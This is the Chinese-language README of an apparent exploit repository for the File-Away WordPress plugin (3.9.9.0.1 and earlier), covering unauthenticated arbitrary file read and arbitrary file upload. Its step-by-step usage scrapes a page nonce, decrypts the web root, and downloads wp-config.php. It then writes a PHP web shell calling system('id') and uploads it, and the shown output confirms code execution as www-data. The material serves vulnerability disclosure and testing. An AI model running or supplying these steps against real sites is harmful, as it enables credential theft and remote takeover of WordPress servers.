本仓库包含 File-Away(一个用于文件管理的 WordPress 插件)的漏洞详情和利用脚本。
该插件存在两个可导致远程代码执行的漏洞(已在 File-Away 3.9.9.0.1 上测试):
File-Away WordPress 插件在 3.9.9.0.1 及之前的所有版本中存在未认证的任意文件读取漏洞。
该漏洞由两个问题导致:lib/cls/class.fileaway_stats.php:file_away_stats->ajax() 函数缺少身份验证检查,以及 lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt() 函数使用了弱加密算法。
这使得未认证的攻击者能够读取任意文件,包括 WordPress 配置文件 (wp-config.php)。
File-Away WordPress 插件在 3.9.9.0.1 及之前的所有版本中存在未认证的任意文件上传漏洞。
该漏洞由两个问题导致:lib/cls/class.fileaway_management.php:fileaway_management->upload() 函数缺少身份验证检查,并且文件类型验证不严格。
这使得未认证的攻击者能够上传任意文件,从而导致代码执行。
如果目标 WordPress 实例安装并启用了 file-away 插件,则首页上应存在 fileaway_stats nonce:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
安装 python 依赖:
python3 -m venv venv && venv/bin/pip install httpx
利用 任意文件读取漏洞 获取 WordPress 实例的配置文件 (wp-config.php):
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
创建一个用于上传的 PHP 文件:
echo '<?php system("id"); ?>' > /tmp/exec.php
利用 任意文件上传漏洞 将 文件上传到服务器:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ 默认情况下,文件会上传到 wp-content 目录 ⚠️
访问上传的 PHP 文件:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)